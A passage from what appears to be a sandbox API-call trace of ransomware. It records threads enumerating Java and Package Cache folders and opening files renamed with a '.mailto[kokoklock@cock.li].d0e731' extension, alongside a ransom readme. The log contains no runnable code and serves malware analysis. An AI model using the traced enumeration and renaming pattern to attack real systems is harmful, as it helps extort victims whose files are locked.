cAlternateFileName="D0E731~1.TXT")) returned 1 [0173.753] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0173.753] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0173.753] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e7e7ad7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x32940, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="JAVAEX~1.D0E")) returned 1 [0173.753] wcscmp (_String1="java.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.753] wcscmp (_String1="java.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0b138 [0173.754] wcscpy (in: _Dest=0x4f0b138, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0173.754] wcscat (in: _Dest=0x4f0b138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0173.754] wcscat (in: _Dest=0x4f0b138, _Source="java.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731" [0173.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0173.911] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x32940, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="JAVAWE~1.D0E")) returned 1 [0173.911] wcscmp (_String1="javaw.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.911] wcscmp (_String1="javaw.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.911] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc2) returned 0x2fc3068 [0173.911] wcscpy (in: _Dest=0x2fc3068, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0173.911] wcscat (in: _Dest=0x2fc3068, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0173.911] wcscat (in: _Dest=0x2fc3068, _Source="javaw.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731" [0173.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc3068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0173.912] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4e140, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0173.912] wcscmp (_String1="javaws.exe", _String2=".") returned 1 [0173.912] wcscmp (_String1="javaws.exe", _String2="..") returned 1 [0173.912] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x82) returned 0x2f831f8 [0173.912] wcscpy (in: _Dest=0x2f831f8, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0173.912] wcscat (in: _Dest=0x2f831f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\" [0173.912] wcscat (in: _Dest=0x2f831f8, _Source="javaws.exe" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe" [0173.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f831f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0173.913] FindNextFileW (in: hFindFile=0x3045668, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4e140, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 0 [0173.913] FindClose (in: hFindFile=0x3045668 | out: hFindFile=0x3045668) returned 1 [0173.913] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d4e0) returned 1 [0173.913] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0173.913] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0173.913] RtlExitUserThread (Status=0x0) Thread: id = 2204 os_tid = 0x1358 [0173.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b070 [0173.754] wcscpy (in: _Dest=0x4f0b070, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0173.754] wcscat (in: _Dest=0x4f0b070, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0173.754] wcscat (in: _Dest=0x4f0b070, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*" [0173.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d748 [0173.754] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30456a8 [0173.755] wcscmp (_String1=".", _String2=".") returned 0 [0173.755] FindNextFileW (in: hFindFile=0x30456a8, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.755] wcscmp (_String1="..", _String2=".") returned 1 [0173.755] wcscmp (_String1="..", _String2="..") returned 0 [0173.755] FindNextFileW (in: hFindFile=0x30456a8, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0173.755] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0173.755] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0173.755] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4490 [0173.755] wcscpy (in: _Dest=0x2fc4490, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0173.755] wcscat (in: _Dest=0x2fc4490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\" [0173.755] wcscat (in: _Dest=0x2fc4490, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0173.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fc4490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0173.909] FindNextFileW (in: hFindFile=0x30456a8, lpFindFileData=0x2f9d748 | out: lpFindFileData=0x2f9d748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0173.909] FindClose (in: hFindFile=0x30456a8 | out: hFindFile=0x30456a8) returned 1 [0173.909] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d748) returned 1 [0173.909] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b070) returned 1 [0173.909] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9ebb0) returned 1 [0173.909] RtlExitUserThread (Status=0x0) Thread: id = 2205 os_tid = 0x135c [0173.756] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.758] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.760] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.761] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.762] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc43a0) returned 1 [0173.762] RtlExitUserThread (Status=0x0) Thread: id = 2206 os_tid = 0x1360 [0173.766] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.767] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.769] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.770] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.771] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85118) returned 1 [0173.771] RtlExitUserThread (Status=0x0) Thread: id = 2207 os_tid = 0x1364 [0173.774] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.780] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.782] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.783] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.785] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc40d0) returned 1 [0173.785] RtlExitUserThread (Status=0x0) Thread: id = 2208 os_tid = 0x1368 [0173.787] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.789] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.790] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.792] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.793] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84918) returned 1 [0173.793] RtlExitUserThread (Status=0x0) Thread: id = 2209 os_tid = 0x136c [0173.795] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.797] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.798] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.800] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.802] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fe0) returned 1 [0173.802] RtlExitUserThread (Status=0x0) Thread: id = 2210 os_tid = 0x1370 [0173.803] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0173.804] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.806] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.807] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0173.808] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84a18) returned 1 [0173.809] RtlExitUserThread (Status=0x0) Thread: id = 2211 os_tid = 0x1374 [0173.810] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbe) returned 0x4f0b200 [0173.810] wcscpy (in: _Dest=0x4f0b200, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0173.810] wcscat (in: _Dest=0x4f0b200, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\" [0173.810] wcscat (in: _Dest=0x4f0b200, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*" [0173.810] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99b20 [0173.810] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30459a8 [0173.810] wcscmp (_String1=".", _String2=".") returned 0 [0173.810] FindNextFileW (in: hFindFile=0x30459a8, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.811] wcscmp (_String1="..", _String2=".") returned 1 [0173.811] wcscmp (_String1="..", _String2="..") returned 0 [0173.811] FindNextFileW (in: hFindFile=0x30459a8, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0173.811] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0173.811] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0173.811] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xee) returned 0x3054448 [0173.811] wcscpy (in: _Dest=0x3054448, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0173.811] wcscat (in: _Dest=0x3054448, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\" [0173.811] wcscat (in: _Dest=0x3054448, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" [0173.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3054448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0173.907] FindNextFileW (in: hFindFile=0x30459a8, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0173.908] FindClose (in: hFindFile=0x30459a8 | out: hFindFile=0x30459a8) returned 1 [0173.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99b20) returned 1 [0173.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b200) returned 1 [0173.908] RtlFreeHeap (HeapHandle=0x2f60000, 